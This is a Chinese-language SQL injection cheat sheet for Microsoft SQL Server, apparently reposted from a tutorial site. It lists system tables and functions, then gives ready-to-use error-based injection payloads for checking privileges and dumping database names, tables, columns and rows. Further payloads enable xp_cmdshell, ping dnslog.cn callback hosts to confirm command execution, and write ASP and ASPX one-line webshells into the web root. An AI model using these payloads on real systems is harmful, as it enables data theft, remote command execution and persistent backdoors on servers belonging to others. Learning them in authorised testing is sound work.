- 和mysql不同;每個(gè)數(shù)據(jù)庫都有自己的信息總結(jié)表
- 四個(gè)系統(tǒng)數(shù)據(jù)庫
- master
- sysdatabases :所有數(shù)據(jù)庫信息
- name :所有數(shù)據(jù)庫名
- sysobjects :數(shù)據(jù)庫所有對(duì)象的信息
- syscolumns :字段信息
- 固定字段名
- name 對(duì)象名
- id 對(duì)象id
- xtype 對(duì)象類型代碼
- xtype='U' 用戶創(chuàng)建的表
- xtype='S' 系統(tǒng)表
- sysdatabases :所有數(shù)據(jù)庫信息
- model
- sysobjects
- syscolumns
- msdb
- sysobjects
- syscolumns
- tempdb
- sysobjects
- syscolumns
- master
- 用戶自己創(chuàng)建的數(shù)據(jù)庫也會(huì)自動(dòng)攜帶下面字段
- sysobjects
- syscolumns
- 常用函數(shù)
- db_name() :數(shù)據(jù)庫名
- host_name() :主機(jī)名
- current_user :返回?cái)?shù)據(jù)庫當(dāng)前的用戶名
- user :用戶
- substring() :截取函數(shù);不能用substr()
- @@verison :查看數(shù)據(jù)庫版本
- char() :ascii碼轉(zhuǎn)字符
- cast(text as type() :字符類型轉(zhuǎn)換;轉(zhuǎn)化失敗就會(huì)以text結(jié)果顯示在頁面上
- object_id() :根據(jù)表名返回?cái)?shù)據(jù)庫表名id
- object_name() :根據(jù)id返回?cái)?shù)據(jù)庫表名
- col_name(object_id,column_id) :返回指定表中指定字段的名稱
- col_name(object_id('users'),2)
- 調(diào)用表名
- 數(shù)據(jù)庫名.用戶名.表名
- 報(bào)錯(cuò)注入
- 'or 1=convert(int,@@version)--
- 1-user
- 1/user
- convert(int,user)
- db_name()
- 注入流程
- 判斷權(quán)限
- 權(quán)限:sa 、db_owner 、public
- and 1=(select IS_SRVROLEMEMBER('sysadmin')) --
- and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
- and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
- and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
- and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- and 1=(select IS_MEMBER('db_owner'));-
- 獲取當(dāng)前數(shù)據(jù)庫
- and 1=(select db_name()) --
- 獲取當(dāng)前數(shù)據(jù)庫的表名
- and 1=convert(int,(select quotename(name) from 數(shù)據(jù)庫名..sysobjects where xtype='U' FOR XML PATH(''))) --
- 獲取當(dāng)前數(shù)據(jù)庫中表的所有字段
- and 1=(select quotename(name) from 數(shù)據(jù)庫名..syscolumns where id =(select id from 數(shù)據(jù)庫名..sysobjects where name='指定表名') FOR XML PATH(''))--
- 讀取內(nèi)容
- and 1=(select top 1 * from 指定數(shù)據(jù)庫..指定表名 where排除條件 FOR XML PATH(''))--
- 判斷權(quán)限
- 命令執(zhí)行
- 開啟xp_cmdshell,0為關(guān)閉,1為開啟
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --
- 關(guān)閉xp_cmdshell
- ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE; --
- 執(zhí)行ping判斷是否能執(zhí)行xp_cmdshell和服務(wù)器是否通外網(wǎng)
- ;exec master..xp_cmdshell "ping teki6x.dnslog.cn" –
- ;execute('xp_cmdshell "“’)
- ;exec xp_cmdshell ' ping%20%25os%25.4mt18t.dnslog.cn '
- 寫入一句話木馬;需要知道網(wǎng)站根目錄
- asp
- ;exec master..xp_cmdshell 'echo ^<%25eval request(1234)%25^> > C:\Inetpub\wwwroot\test.asp' --
- aspx
- ;exec master..xp_cmdshell 'echo ^<%25@ Page Language="Jscript"%25^>^<%25eval(Request.Item["aaa"],"unsafe");%25^> > C:\Inetpub\wwwroot\test.aspx' --
- asp
- 開啟xp_cmdshell,0為關(guān)閉,1為開啟
文章來源地址http://www.zghlxwxcb.cn/news/detail-846337.html
文章來源:http://www.zghlxwxcb.cn/news/detail-846337.html
到了這里,關(guān)于MSsql數(shù)據(jù)庫 sql注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!